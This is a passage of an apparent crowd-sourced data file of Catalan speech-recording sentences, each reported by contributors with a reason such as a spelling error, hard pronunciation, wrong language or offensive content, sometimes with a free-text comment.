posició es coneix més formalment com "jounce". 84588ccab833cd2461ea23cb0257c947e02d6e61652a792909dd331accb36dee ca difficult-pronounce El poble rep el seu nom per la proximitat de Swan Creek.. 84bed699cac4fc57da5f6b5330e0838e5badf124ea3dae9bafc62cbac24eaa5a ca different-language El naixement de la seva filla va estimular Campbell a estudiar el tema del baptisme. 84ade582424c035f5156bf6359e563313138213d0f6ca6ca68ca5d37d344741b ca different-language La perspectiva de Sonia Hoffman és la perspectiva holística, també coneguda com a teoria de sistemes. 848ea5bbeb20971983123f5630aeb272c158976b8c209b80fe1af31c617e2d5f ca different-language El blasó de l'escut d'armes municipal és negre amb un àguila daurada. 84a6b79657367eb4bb12ba0537cac628cc29265aeeb973f8c6e69c1ba6dd9514 ca grammar-or-spelling Aberdeen, Limerick o O'Shaughnessy. 848d29be0aa1e08e4c02e099da988b8363ad905c92897aa0b4a260c78b8b7615 ca different-language Kim ajuda el seu marit a gestionar Mel Kiper Enterprises des de la seva casa de Baltimore. 8496de5ca79341a8cdd5908ef4dcc47553be650744992986a5522874082343b1 ca different-language Sandown Park té una plataforma central amb dues cares. 84e2af33622eed41787d56b40fdc7c7404b7c07bb6b1a7945dc2493a30d76306 ca different-language Takeda Katsuyori es va casar amb Toyoma Fujin, filla adoptiva d'Oda Nobunaga. 84dbb5b9844d563d10c509baaf12e4f98befc0cc49d042bf51ce664a56613263 ca different-language Originalment va ser allotjat per Simon Mayo i després per Phillip Schofield. 84f5208e1c76c98026c46d4c68a96615c7d12867c70e4c247256a4fe9f2814fb ca different-language Està situat a la regió del Piedmont a Carolina del Nord. 854c0acb6ff44e514d7b4740373b58a8fcff27920a6bedebd5a5422844a02c59 ca different-language Va mostrar interès en què Halleck fos el seu segon marit. 853bfe84e3498054eb99d5592dbb2c80e867ba60879386d3415791b998546d4f ca difficult-pronounce La meva mare es diu Damià Ballestero: be, a, ela, ela, e, essa, te, e, erra, o. 85a183265fb75f0f18f0fd2829271c3ac8263835a3ea019847ccfed68bb5177e ca grammar-or-spelling La revista Playboy li va oferir diners per posar a la serva revista. 858879cc1fd2cfee29c14d5f42ba4fd0f9edf3911ff456329ec7bb793f5d4c8a ca grammar-or-spelling Els alumnes es van esmentar al lloc web de l'escola per haver gestionar la situació amb maduresa. 86230dc9cfc9d50e64796ed7c7b1e0b9c3927121db8b9f0895594afc4634511d ca grammar-or-spelling A les Balears els migrants viuen al carrer 86a8b1b821ef2994e0e97ccb1b794e2b196ad9493b8c795bc939df6a594c3571 ca offensive-language Murtough O'Brien, el descendent de Thurlough O'Brien era el legítim rei de Thomond. 8641611790ec41417fc7eb85b93929ab6396e0f8d86c168a9ba44c2577daeda7 ca difficult-pronounce Irònicament, posaven el vídeo molt sovint a Oh! 8735d07bb35120df03b43a42a276c0b82ed7b05314344b7cfba9e013a9dc53df ca grammar-or-spelling El vell molí Hodgson i Spring es troben a Bryant Creek al nord-est. 87accd24b6435cc8b837ca60a4af969f099fdfb5eb06ab24147abeb454d462ea ca grammar-or-spelling A causa d'un rumor en Internet sense fonament, el suport dels clients va disminuir i el restaurant va tancar. 8794d66f7d67c41a3b5f51b8fc0672885fdf115ddce9aa0eef341e14928fe70b ca grammar-or-spelling Un grup de persones estan caminant al vessant d'una muntanya amb vistes a un llac envoltat de plantes perennes. 87de9aadffe80244c79a5b406a09c4c2d697c0e268dc02dc24ec7661a8e4d509 ca No me fitxat en l'ortografia Festivals del santuari: U-matsuri, Hirakuni-matsuri. 87cc3b9be4f7caca105b2e6b1f621618093e8b2f698e31b1f79b5cd6c585c516 ca difficult-pronounce Dos agents de policia observen una casa des de la distància amb binoculars. 87d4f0ed5d11c91309d526a2b1b8971aaec347709dface2a7125921e25915bf4 ca grammar-or-spelling Per a més informació sobre aquesta creació, vegeu comte de Bradford. 880b4aa298366252aa27e119aa42d203179c6413f592d18fbd56fae601cdb54c ca grammar-or-spelling Els especialistes en demolicions sota l'aigua es poden anomenar "equips de demolició submarina". 880901b92b8c65e9c8437af8137c4520248ed6f0713d1c27cea81d8874fbd1aa ca Cap problema Un home amb una jaqueta marró ajudant un nen a pujar a un pal. 881920389494ca6e43461415a6555fcd1fc65336482b0b16d08a32a686aada2c ca Sense problemes Tanmateix, per si sol no és segur per a missatges de longitud variable. 881afa0c2218b71d932b0e3633a2a9008f6ac85bc7d762f5ef16ab397850b082 ca Correcte També el realitzen bandes armades que lluiten contra els governs i els ciutadans comuns. 87ded178598499c77879a6497f35e8a6de02b3c1fed97037c03e9e1e4ffdd631 ca Sense problemes La pel·lícula va ser dirigida per Fran Rubel Kuzui. 87eb5ab977439abfd8a9560f9cc63dddf2172a3e09d05b1fcb2d36115f4771bc ca Sense problemes Més aigua disponible engrandeix la biomassa i les arrels, les quals fan que el terreny es torni menys ferm. 880adb215a17e58917fd91b800322ffc8ace59432d53695aa39bf6ced6e4bf84 ca Correcte Sap el nombre de compte? 87cdec470db160c311aeed38867bef7ed0362117be0caf2fbe2956ea7a4d45c2 ca grammar-or-spelling Jennings es trobava en la Chicago, Rock Island and Pacific Railroad. 87cd1857b4a6a1f201dfae75215ec519cd3d2450335825ca5794460b3e895394 ca difficult-pronounce Banks és casat i té dos fills. 8813953357d752a9b0413581333c18a1936c54f20ca0fad10b38157d2c2b9422 ca Sense problemes Com és la teva? 880ee8d8ff73aa5274f301eda773e4873975f174269c29a4fc7b31f31f136d22 ca Correcte Això ofereix protecció des de contra les armilles antiarmadura fins als canons. 87e9aa4bc4f1feffdc31784d941cec4d3046a7ccba2a295eee8b29fcf45fab78 ca Correcte Un home amb corbatí i ulleres posa per a una foto. 880acd09ec14ebafaed42a10007cfaec1da1a68b9d20a021b3a24a972d9e42fb ca Correcte El radi de Schwarzschild d'un objecte és proporcional a la massa. 8755592f4a6101b5333bd44ba0539c2457c17fb249ad7baaf1c7e724454b432c ca Jo diria al carrer Villarroel nº57 Vull anar al carrer de Bernat Bransi amb autobús. 87dcd5c99c6bd29017241802a7edd6c5269b8cb175a2b8c9707e6ea970a9b1a8 ca Correcte Com ho puc fer per anar als jardins de Joan Prats? 87ff41aeee97b3d430c1f3b9bf78e4eeb5903b3640a46acd4529f8c90f0d5b08 ca Sense problema Reserva'm un bitllet de tren per anar a Sentmenat demà a tres quarts de dotze. 881c3f7298b7b9b1b449b78f4291046198e3dd35460c2ccd62a26c23b3a06f47 ca Sense problemes És millor haver estimat i perdut que no haver estimat mai. 8754fa6a0a7029a4a2a010f3665e5380eccf494ff0a8d0e3a16b4c5b25dd1f01 ca Sense problemes "Llavors el liró sí!", van cridar tots dos. 8814d3967715cdac43467df81bc96f22af44e70fdd8eb1cb32af4007d6d7cfff ca Sense problemes Si voleu més informació, també de les expressions dels primers polinomis, consulteu els polinomis de Laguerre. 881d012430a6f51b272f3fb7c1b983248dfb644a801189bfdf578385f8153d18 ca Sense problemes Preferiria visitar Manacor. 886b6a46e0883da6e6aa62ba6af09a81d32cc8b2c6108420bf3d9dc97cd0651d ca En mallorquí Manacó Això va despertar la sospita l'endemà de l'assassinat de Lincoln. 882e581a6099019cbd0d839f663e923b588b28c8c3dd022db80cde9d5b1faa55 ca "conèixer per primera vegada" és un anglicisme; en català només es coneix un cop Era un nom que em sonava generalment a indi. 887bbe88c6a63753717e72f5447eba5574c9ab114d692b7907097087ca771a9e ca Sense problemes Smith va conèixer la seva esposa, Millie, per primera vegada en un torneig de tennis benèfic a Detroit. 87fa08ed356329d74d99e4ec5ac1e8f35e300023787bfa837b4f3a0609e82843 ca error sintàctic Hi ha algun lampista a la plaça d'Ernest Lluch i Martín? 88680a0f7055ce436f8d122010b0bec745d4110d3be9840ab5875b1becff5ecc ca Semse problrmes Al seu llibre de text autoritari, Maynard Smith estava d'acord amb aquesta visió. 87b48c0ff22b5fdc37c1cb6d802c41410a7ade5b25cddab0cfcc9c2360853924 ca Sense problema Anteriorment, els judicis es feien en una cabana de troncs al sud-est de Jefferson. 88746a41475ed6c751fe16aa66466583d1222c3f5eb942c727147d93aeb5c94a ca difficult-pronounce També va ser un dels editors de la secció "Anàlisi" de l'Enciclopèdia de Klein. 87d32d3ed624396cf0abaf443e387ceb01bc3d71111b68bf41320aaedd7e5fa3 ca Sense problema Un home amb una camisa blava fent una becaina. 885a2c0b693efbdab33f5bfc81f8a29d56889c55fa20140889b28525762149f0 ca Sense problema Un dels dissenys més populars inclou una combinació del comprovador i una llanterna estàndard. 887669e16be5b7698a74258f8ea63b5ecc9d2ed80f6eb1c1b03d94685dc8872b ca Sense problema Les llaunes de la lloriga s'enclotaren en la seva cara. 88111c4e31be8ca25b03c707881a859ad939fe0a33d03c4023976afc949306af ca se li enclotaren a la cara Weber també va fer un treball considerable en les religions mundials, inclosos l'hinduisme i el budisme. 884c23a01397d88a2a492c02861fec95f65667e821a9201897b85d06e2cc68e7 ca Sense problema Valuós o no, si esdevé una responsabilitat, em veuré obligat a netejar la teva imatge. 884968be694f066cd832897bcb12fb17eb6cfd6dced1a2143b8011ed9a80abc5 ca Sense problema Ara l'autopista rodeja Winnipeg. 887f4138a77dfde87a4d05615d2c860c765a2a030760cb49f95fa0f596645ad3 ca difficult-pronounce Hi ha algun negoci al carrer Sant Pere Més Alt cantonada Sant Pere Més Alt? 885c09b0a41dbdab1fb72454f3c5e508f288750696e02d1cea0beee1f11a84c3 ca Sant Pere més Alt cantonada Sant Pere més Alt, no té sentit El meu pare es diu Eduard Hervas: hac, e, erra, ve baixa, a, essa. 88606b1ed02c67dede851ad2c8378b3fd210c465520a17874dad037cad96107f ca Sense problema Leighlinbridge és un club de futbol que competeix al Campionat de Futbol Intermedi de Carlow. 887dac1c1d7bd7942bacfcde86da1d19264f706ef3040f994fa7e58713364b02 ca difficult-pronounce Dos dòbermans, un de negre i un de marró, corren per un camp i juguen amb una pilota. 88559f9cbef1c44bf4e96c0be7a373a0dca807f3909e1633630223cca37aa121 ca Sense problema Aquí estic, entre el meu ramat i el meu tresor, va pensar el noi. 886d911288666ea7bd4f62ec546e98e416c04b20f0afcdfb7bcbeb2b410799dc ca Sense problema L'eslògan de la marca és: "Fa que netejar sigui gairebé tan divertit com embrutar". 886a60f248cb94d8974f4418e8f4384e2170ff38ea16ff803e40f814c432f0bd ca Sense problema El Pathet Lao era una organització i moviment polític nacionalista comunista de Laos. 887aaf07fb7c1c79dc88a10eb3367494f607ec5c766065cc07d7da6b611b83a8 ca difficult-pronounce Durant el seu regnat, la nació sueva es va fragmentar. 8844cee393fedf25769a5a965e03772ad38129a2b2929a2c646650acea8a412e ca Sense problema Quant dura el trajecte en autobús fins a Càrcer? 883c486838482f0940f8a5263d45b94d516f7e149f9e7e6109c67d0bd2d3fce7 ca Sense problema Tot i que la l'idioma oficial és l'anglès, molts habitants de Saint Vincent parlen crioll. 887642044fec0eb2c784ce576b707888a5906223336a7b1638596b197ed88491 ca grammar-or-spelling Crec que serà millor. 885259b6e1e8cd04658c03e3f32c6fa36605baa770fc061069a650b979449780 ca Sense problema També va fer fotos promocionals per a Uh Huh Her. 886b67f27e9a4bac7e39b1350a6db75333a5ac3b26379983e81aedec5c6ba47e ca difficult-pronounce Diuen que va intimar amb un escriptor famós. 884ff2520008f0b22ea6ae90c9c9f79e7193b033911c2a5726437fcd8f064635 ca Sense problema L'altre dia vaig estar a Casinos. 886c9f9e49c8bd79979c8591cc94a2a1d13e68ef71b75de167b5bef857901d50 ca Sense problrma La paraula "plaisance" és equivalent a l'anglès "pleasance", que és un jardí de l'alegria. 88610726a7622c70ed4699ea488e058f3503941bf4451a9955619a2161da23c1 ca difficult-pronounce Rebrà les instruccions de pagament en el mateix correu. 883efba8fc478a9097a7db894c1fa15bbce0d79d5bf79555acabbd5a9853c3ba ca Sense problema Abans d'arrancar el partit, es van llançar ampolles i pedres contra l'entrenador de l'equip. 88b506dcfa20ce092535381b0e6801d5ff1473f459a27bf797368cfc9024c4de ca Sense problemes Jo no cant ni a la dutxa. 881eb712f6a269e50f3ddcc0206be5e486820005f9199174d4536b6c5b3c4d66 ca Ok La mort havia arribat amb una brusquedat terrible. 88cd229b8949206d84b71131d5e3ee084ec06c9d4d5bffcee146bd585edc0e00 ca Ok La Hepatitis C és la infecció crònica de transmissió sanguínia més comú als Estats Units. 885c3aecb3e526dadaa785de8477bcdbb9e03279393506575c7a50efe7aacf1d ca grammar-or-spelling El meu pare es diu Jan Lizarralde: ela, i, zeta, a, erra, erra, a, ela, de, e. 88a9339976382a55c2475ecf19ac97e9bc149cfc1de4e6ef5a5b2210595db344 ca Ok Eren cotxes grans de sis cilindres que es conduïen bé i impressionaven als crítics contemporanis. 886412f2fb11f869f7c4892faa6e8040347520517d3defdb1087f6c6de112908 ca grammar-or-spelling Separa el conducte coclear de la rampa vestibular. 88d11440a20841f4d6ce45182c6a696aaf6d8f4ebfdee62a80c042f4b4c1e7d9 ca Ok Eventualment, el Partit Laborista va guanyar una sòlida avantatja sobre el Nacional. 8861a970c2165e9f0cc3df74603cf79b6a0a0d207c3a954920c4e8d8861ee2ce ca Si ve de l'anglès, "eventually" s'hauria de traduir per "finalment" Tot i això, es va evitar que embrutessin l'escultura directament pel seu estoig de metacrilat. 888adbfc06d4ccb2d21a42dc828be7286252282531949d4dc4891ad393e9b40b ca Diria que, per a una millor comprensió del que s'hi diu, el "directament" hauria d'anar entre "evitar" i "que": «evitar directament que» A Anglaterra, els propietaris de cotxes han de pagar un impost especial als vehicles. 88f8e7b600ba92134e44e67658906f7e2154a8a3552da5e4ac5df77d9584ff7c ca No puc enregistrar perquè el volum sempre li sembla baix. He de cridar? He revisat el volum del meu telèfon i tot està bé. Gràcies! Es pot enviar potencia a les rodes posteriors o a les rodes anteriors. 88fe7f70f44165681641a2cd42c18854ec0c2dd943688d1c4553b093cc4fd652 ca grammar-or-spelling Crec que ells van pensar que això confondria a la gent, i és una pena, la veritat. 88c47ebfcb19f9b2c146f114a93d022c39c79392636a32e28ebe1165daf11228 ca difficult-pronounce Durant el seu segon mandat, va ordenar a la milícia estatal de paralitzar la vaga de Homestead. 8918d43dff35c535f71a3bdc01f8bcaf68b70b81b36f6befd43e5ae34462f75f ca difficult-pronounce Per tractar de redimir les seves habilitats, Bane desafia Sirak, l'estudiant més poderós de l'Acadèmia. 89952ebc704ca04f0bc3a31ad249700475dbc635a9f96019907b47f3d1aee28e ca difficult-pronounce Els desenvolupadors de Cavedog han jugat un paper important a Gas Powered Games i Beep Industries. 894f32298d808635f033812249b25d9d18255528c31ed9a0a6de9bfb7c41239f ca difficult-pronounce Apunta el sis, trenta-tres, quaranta-cinc, trenta-sis, quaranta-nou com a telèfon de la Leah Araya. 89b52677d1dd85cf2a9d382940140499a9e5a092b50af749fc7b93a166bfe458 ca Em diu q he de donar accés al micròfon i no sé com es fa. Un home penjat d'una taulada a mig construir. 896aeb092b991c74ac9f4c1d2acee0ec9e74a105b783f99ce869ded128e2bf21 ca grammar-or-spelling Què van establir per Itàlia? 89c8aaa7aed799faccc8ddcc533c641835c440bec9889dfa970e6d1639b10529 ca Estaria bé incloure l'opció de frases en la variant dialectal valenciana, per enriquir el model Aguanta'm tal com sóc. 89d9f85ba43ecbfc7826aee1a51796b04bf1a1dbf6f62bbeb0f6ecafa4bc6a63 ca grammar-or-spelling Dues dones morenes parlen amb una aula plena de nens rossos. 8a3b6a282f491a4b1573b0c21f58aef5ca44d5558c9c63242fd74ff22146edc5 ca grammar-or-spelling El so primaveral que fan els gats és distintiu de l'espectacle. 8a12c80af9557920663f2b015485b406aa0e08a45fabfe4d9fb446895b7aa461 ca grammar-or-spelling A la dreta apareix el color kobi. 8a7c1991a38c7982485b637935a62dd3900cb1460e5e0a84caf7a79bfca7bd71 ca No detecta la veu Fa un temperatura de nou graus centígrads. 8a091bc793d8a722383bd0d68d7083d226cb73481c6f36522436dc52b3f976fc ca grammar-or-spelling On s'instal·laren fabriques per aprofitat la força de l'aigua? 8a7dad8c16bae2947918d0335be151dfa29e9cb9c9c443a28e5a187f2c69d9fa ca grammar-or-spelling Per on comencem a prendre.? 8ad93b875d7fd00e51c1bd9e553419f48b8c2ebea85fe3f93220dc2190b6a12c ca grammar-or-spelling Es va emportar la gasolina? 8b0f3cd599740a31baa1be9cd5c40107162dcb2e063ee72b02abd2f3f2e1d347 ca Com es fa per donar accés al micròfon??? L"índex de naixements és el doble que la mitja nacional. 8b19a73921f0d1c16553e728970e500631457aec5e4bec6607623cf4e455111b ca grammar-or-spelling 'Oh, tu cante', va dir. 8b40b9c0bb132c7347808ff5348f6831ad1d9771bbe65f0cca4f77ff3d5eb3db ca grammar-or-spelling Llavors, la serp embolcallarà en una dues voltes al voltant de la presa. 8b4957aee112b4018d90ac9c80c1d2a06d222e270925dc4d7278afd832384d18 ca offensive-language Llavors, la serp embolcallarà en una dues voltes al voltant de la presa. 8b4957aee112b4018d90ac9c80c1d2a06d222e270925dc4d7278afd832384d18 ca grammar-or-spelling La sinceritat sofreix un poc en allò que faig; 8acbdcacf1a1c03ac2fddf092e79f40e9dc6a216924d3023b205110ce2700d1a ca grammar-or-spelling Gran part de l'oest d'Amèrica de Nord està composta per aquests terrenys creats a partir de l'acreció. 8aee73960a601ae0052b109a0376fe8ebf83194cc460b7aa6995c18499222962 ca grammar-or-spelling Em pot portar un altre lloc, si us plau? 8bd86a55eeb4effe7eb6ecfefccfa2800dfe6624157822debc5e35001bc87ddb ca grammar-or-spelling Va anar a Vallanca amb tren. 8bcd92d898628307d5df1494ec91b807b12580fe44f73aac4dfb7d005b1f450c ca grammar-or-spelling Quatre membres del grup van ser assassinats, i dos més van resultar ferits amb gravetat. 8c003be64363bba2d2a0fbd41b9c35ad06e331ba328cc658403ec5c8d4de23f9 ca grammar-or-spelling Quatre membres del grup van ser assassinats, i dos més van resultar ferits amb gravetat. 8c003be64363bba2d2a0fbd41b9c35ad06e331ba328cc658403ec5c8d4de23f9 ca No sóc filòleg, però aquesta expressió em sembla un calc del castellà "herido de gravedad", i tot i que potser sigui acceptat al català actualment subordinat a aquesta llengua imposada, em semblaria molt més adequat parlar de "greument ferits". Agraïria q Com estudiava grec i poesia, Fletcher va contribuir a la traducció de diverses oracions de Demòstenes. 8c889db2d31e1d8f1f13c62772f80cad5c9c7845d7d87ce3da0b021398a89a4a ca grammar-or-spelling Una persona penjada d'un paracaigudes esquita amb força quan el seu cos arriba a l'aigua. 8c73e44ede6c98e803479de6f8c22493b0984b6a6cc178778a2f19d7a22686e1 ca grammar-or-spelling Va ser nomenat immediatament whip cap pel líder del partit Liam Cosgrave. 8cda0e6e2a38f864b11c869604d09d6a286c6828670e078f9324498c733708bd ca difficult-pronounce Els parlants bilingües solen canviar de codi entre mandarí i taiwanès, de vegades a la mateixa frase. 8d12eaa147d59805b2310a53142a7c0618bc36de9240290a02fde918d490bc42 ca Respon que és massa llarg ? El poble de Whitesboro es troba dins de la ciutat de Whitestown. 8d670fa3816e29671cccb19a0e7ffd771eb9675e650395e83333a323527ad876 ca difficult-pronounce L'escola secundària principal de Sundorne durant molts anys es var anomenar escola "Harlescott". 8d3df32a79e918aa271a9cbfb3005cf4d8494f32e727466f18583a0a8361409d ca grammar-or-spelling A quina hora vas? 8d7044bf1432d926064b2d60127c12354c539cf319dccc1e389d6f4f787e9b67 ca Li falta el complement, com ara «a quina hora hi vas?» El guanyador va ser conduït per l'irlandès, Alan McDonough. 8ddb1a4ae00736a2834b67b8c124a73e8f3457602f57f4d0ec2e71a47383fb28 ca La coma, que indica una pausa, no hauria de ser-hi Es tracta de la reaparició de velles formes explotades amb retard en altres nacions. 8d91bc54a8969a476ee662d0f667ae933835bb8f72e8c71c864449cf941bb1a9 ca No hi ha manera de donar accés al micròfon. La diatèrmia utilitzada en la cirurgia acostuma ser de dos tipus. 8e422a36b6cbf6660781942cd3c8e2de4509f43334cee97daa763be63e1abfc7 ca grammar-or-spelling En Escòcia es realitzarà un referèndum 8eeb65a79d5454e8745459b8dca96d153116213817ef11756a6443811363c5b6 ca grammar-or-spelling Digue'm com pagar el deute. 8fa45ae91dbd4821da7a19d5fa23569d7ffd9836a8d1ad9f63089509c04b2fbb ca tot correcte Era adequat. 90638a7649dd438db8f07b30e571771dd26f00cddb01b8639e4867276627e88b ca No surt cap frase Com són les representacions de Matusalem i Henoc? 91319738d3ff87db3d7863eb34a67298318c8e5f5e2a0f7ca0234eb3c89a7dd7 ca difficult-pronounce Llavors va entrar ell. 911a674a822a9c88b361a5f1a976eecee70b5c4464066a3f19cab2de037d4981 ca grammar-or-spelling Veiem gran diversitat: uns olen a socarrat, altres saben a rostit, aquells suposen enfit. 912e069d3105599a30cbf88f815f2a8d9413f999daca7047870ec801228eee60 ca grammar-or-spelling R. Johanan va connectar la següent història amb Neh. 9175173723d9512df2f4df6287e6787d89a14209aa3e6b0bbb51828aa6d9fd88 ca difficult-pronounce El partit us vendrà vaixells plens de blat per a les legions. 916231a87a6be9f0a22f7dd4af1d0e1f4303b65565e3e91c190f6579438733e1 ca Cal enregistrar-se, o serveixen les gravacions en sense estar registrada al programa ? L'assemblea va donar al pacte el nom temporal de "Cuitat de Michigan". 9190436f5ff623602b03b846ef829afa37a6f2886821186b681435335b493b06 ca grammar-or-spelling Una noia amb vestit de bany verd salta a dind d'un llac. 902b58356dab008a69786c06e5991e15ed0d4f892a1845bcc01cf7c289dda493 ca grammar-or-spelling Es considera que els dialectes alt alamànics són els dialectes més conservadors de l'alemany. 8fe0700767a70570dec767ade998617a7ff910b69d4bc48694d1cc5f450dd3e4 ca grammar-or-spelling El rovell de l'ou surt després de trencar l'ou amb una mà. 920062cf0ae82e50812a6a90f7355df870d733c228de9d4b2974dfc6805e3a5b ca Es fácil de pronunciar Apunta a l'agenda el número de la Manal Marichal: sis, trenta-vuit, setanta-set, setanta-nou, seixanta. 925e6cc871b133ab5eb4d465943691dc410377e0a2e13025598088c23f6a26e9 ca difficult-pronounce Els sintetitzadors analògics polifònics tenen una polifonia limitada i normalment admeten quatre veus. 92536127a692336acc1636bc04ab1a4da63599dd517373ed20a1ba164bc0d411 ca Cap Els "Paralichthyidae" són tot el contrari, amb els ulls situats al costat esquerre. 922c04a95e9c23d9698b554c455786b07590f7eda1a84e7a75c4328381a08222 ca difficult-pronounce O'Neal era un jugador dues vegades All-American de futbol americà universitari amb els Oklahoma State Cowboys. 91c1506aae7547dd32bf17b0ef63844f4093e3d8e0b006eb3a7bd869d00a13a5 ca different-language Com puc arribar a Sant Andreu de Llavaneres amb tren? 92669c6cdd9248fa7cbecf8d52a8cec5cdd85ab595dd91a5f7dabc5b47f75a8b ca Cap Young Harris és la seu del Young Harris College, que va rebre el seu nom. 9220f98d9b57aa7123a768734e21815d26f66e319c824d343d57877aca599932 ca different-language A la primera volta, Lee va derrotar fàcilment l'australià Stuart Brehaut. 9182a4583ca382819787ba2580ff59f9e04c1c4184f1fe729023d713f65ccbc8 ca different-language Apunta a l'agenda el número de la Maya Benavent: sis, trenta-cinc, trenta-dos, deu, quaranta-cinc. 9272bde94b604139dffda440559ab42efa81e767e2d74d821fce9a5cbb478322 ca difficult-pronounce Quins canvis són capaços de tolerar? 93544a0666160146de86b0ba734f2ae01ebab17f59a44e651e78ce4ab71b9f01 ca Pot ser són o som Em dic Cel Legaz: ela, e, ge, a, zeta. 939059a2755744f58048fc7aafd1810305a6b54e26fe2e59532cddba160f8ed4 ca Crec que no cal posar la vocal e darrere de la g per deletrejar aquesta lletra Va ser capturat pels San Diego Rockets i els Houston Mavericks, respectivament. 9302e452c901b711290b6e35f3d162b8c7b340c573159b7c0c6c568025322af3 ca A la paraula Sant i manca la lletra t Quin dia és el mercat de la Pobla de Benifassà? 93926063e49041e3254f3ea2021445ba9e4576a286dadf5030a7a57f89698490 ca No hi trobo cap falta La placenta conté alts nivells de prostaglandina. 937d05ea699675befc02fb20d4a394fbc92bbb47cdf22f26cda906d4c1c93a01 ca No hi trobo res estrany Dos homes amb armilles de color taronja treballant en la construcció d'una carretera. 939aa76d31bcc49ace765ca87ce23ccbefe689f80be80c04d497c011d257470a ca Crec que és correcte Es van eliminar els comentaris i les opinions ofensives per raó d'ètnia. 93b75727b89985dd066bb30018d1356b8be03e515df65a16b6b7082363bbffc4 ca Crec que és correcte L'amplada de la roda depenia de la mida del motor del cotxe. 937a3a26816dbfa904fc88acf41e79f474e18ed2951fdd266fe09b0aea51ad2b ca El correcte és depèn A la França prèvia a la revolució, l'escarapel·la de la dinastia dels Borbons era blanca. 932746b57e499ae9b548f569a8b9ed1970df7e4c9d3261df6749e7f7e3a28be4 ca Crec que és correcte No sabia que l'haguessis conegut. 93dea3df1da69621d2df3880a3a72d13e4f21510c87161f0c7a7653a5074c84c ca Correcte Les dues filials encara existeixen i segueixen prosperant. 93eb951bdc43378225950e32535e17694d57a9da1281511967a4c81df9f40f63 ca Correcte Una dona i nena estan assegudes en un gronxador de fusta 93f3e0d6132ddc5765c2fa69e40f200af9884879b82325222a024736940d35ba ca grammar-or-spelling Una dona i nena estan assegudes en un gronxador de fusta 93f3e0d6132ddc5765c2fa69e40f200af9884879b82325222a024736940d35ba ca Error gramatical Al "bredie" de tomàquet, en canvi, s'hi posa tomàquet. 9400b5090e656bdfaba2a9cd5d7d2ea1fc8ab4b6c0f27a2e2b078e4b4e769d1c ca La frase no te senti S'afarta tant, que després no es troba bé. 943f443b5651ae55c3c8b893b34f6addc15053140d59bc838a67d85aaedb913b ca Correcte Stein és el director de l'Institut pel Futur del Llibre. 9419f44c4152368872a785acc3bd3162c5686c1aa7eccf559282fd4070744f53 ca difficult-pronounce Telefona al Lukas Richarte. 942ab1392acaf1f4605e6483a772c0b3262d500c5f0aa2bbbcca8876b090f5dc ca Ha de ser a en Lucas Els dies previs a la rebel·lió també s'han oblidat. 93de0589b8aea47c188f39fcd2dd8ed2b7ed997c67a4c1bed363359ac66114c7 ca grammar-or-spelling Actualment moltes persones estan treballant a vaixells comercials o el sector petrolífer. 93fbbf12e2ced9d9cc11c7a8a8ca68b93f105a9824eb8e2ade745e265dde29ce ca A de ser al sector Ara mateix acabem d'arribar. 94144aba3c331bb845f4ad879f59ae2bf10801991d122a1b7def1ec2639f1030 ca No hi trobo res incorrecte, ni difícil de pronunciar Va derrotar al republicà Laban P. Jackson per l'escó. 942e8e79c4dbab0761ece9f013bdba16ea1ba832e501d6bc5a0a7efa1a18d861 ca Crec que és correcte Vull anar a Fígols i Alinyà sense agafar el metro. 938edb62addced03473d4aa5eb32d9c6756607d0b1cb43709d8597ac11dd02ac ca La frase és correcte. No sé si en aquest llocs hi ha metro A quina hora arriba l'autobús de Santa Pau? 94221af2f3eaa0ae2621b38ad157b9f826b2ac679f8a307a15a47bf144ceb38b ca No hi trobo res incorrecte Maneres d'obtenir el permís de treball a Espanya. 940cc3fbbb1a1ca136bbab6e633dfb4ad636335436a084313cc7f604f561b51e ca Correcte Cada article està escrit per un expert en aquell camp. 93f119aa2190d31c56e38e0e4e1e496fe6918a49688eb7e785a774e762d1ceaa ca grammar-or-spelling Cada article està escrit per un expert en aquell camp. 93f119aa2190d31c56e38e0e4e1e496fe6918a49688eb7e785a774e762d1ceaa ca Error Telefona al sis, trenta-u, trenta-tres, cinquanta-u, seixanta-dos. 9439b83b470f6a9ff653ae88d4b3087b2dc3a35ffe39b797f9ec45b62aaf3f92 ca La trobo correcte. Desa el sis, setanta-u, zero, cinc, vint-i-nou, noranta-set com a telèfon del José maria Llabres. 944e4d00ae0e7b6a408afc8024f8fcfc77f7c45a3627737d4127a4cca87142d3 ca grammar-or-spelling Desa el sis, setanta-u, zero, cinc, vint-i-nou, noranta-set com a telèfon del José maria Llabres. 944e4d00ae0e7b6a408afc8024f8fcfc77f7c45a3627737d4127a4cca87142d3 ca D'en Josep Dos gossos corren a la platja per l'aigua poc profunda. 94077d58b3b3d92bc8bb16da059d603734054eb757d59d86b0aedc4bf93e67ac ca grammar-or-spelling Continua publicant jocs tant per a la plataforma Mac com per a Linux. 94576cb5a509f6a2538175526b0065da53b4a13e870a2e65a1c8f9de4fc5c903 ca És correcte Vull anar a Vallclara amb trasport públic. 9440e2e477f173db0e8f0231e3d82dfc4e1abf736573b46a10771b2f91c1702d ca Correcte Es va fer famosa per la seva habilitat amb un violí. 936226709b3b2ed645ff17aa568f9e9afa2cf8f90f7d71e2ca45a7dbd11b29d4 ca difficult-pronounce A part del candidat, és sovint el líder més visible d'una campanya. 9467ae0f9528d7055c5ea3e5c43267b286d82dd38a3ce94005824052899c12ae ca Correcte Enoden també ofereix servei d'autobús a la zona. 93861abb174e141b7f213d8827e792ddb876a21610b24a9b7568f7a27587ff3a ca difficult-pronounce Qui eren els amics de Mir? 9470d15acec860d22374850b6740eb31bca55daeea62cbd06bc2080c8aa6b5f6 ca Hi manca un pronom feble Es va graduar a l'institut Mount Saint Mary d'Emmitsburg, Maryland, i començà a estudiar dret. 9467acc99f875486f0431ac2ca17147e0f3838dfad5c353249cf53b6577748b5 ca grammar-or-spelling Es va graduar a l'institut Mount Saint Mary d'Emmitsburg, Maryland, i començà a estudiar dret. 9467acc99f875486f0431ac2ca17147e0f3838dfad5c353249cf53b6577748b5 ca Error ortogràfic Qui organitza el Festival Internacional de Pallassos? 942607295480e8bafb07364b491b15487203ab5e7f8dd98e4ed492fd1a5536bc ca difficult-pronounce L'Assemblea Nacional tenia la base a París, però els seus poders eren limitats. 9448a55a94c140cc5739ce7f44ecee45c0434a43f7fd1166117ba917334e4965 ca Correcte Les dues principals indústries de Ieshima són la pesca i la pedrera. 943beb7b320df0b3a06477fe9d16dfe60c0fe1d8b2a9d6ac1fc1e30e980e5376 ca grammar-or-spelling Les dues principals indústries de Ieshima són la pesca i la pedrera. 943beb7b320df0b3a06477fe9d16dfe60c0fe1d8b2a9d6ac1fc1e30e980e5376 ca Error gramatical Havia de tenir el seu tall de 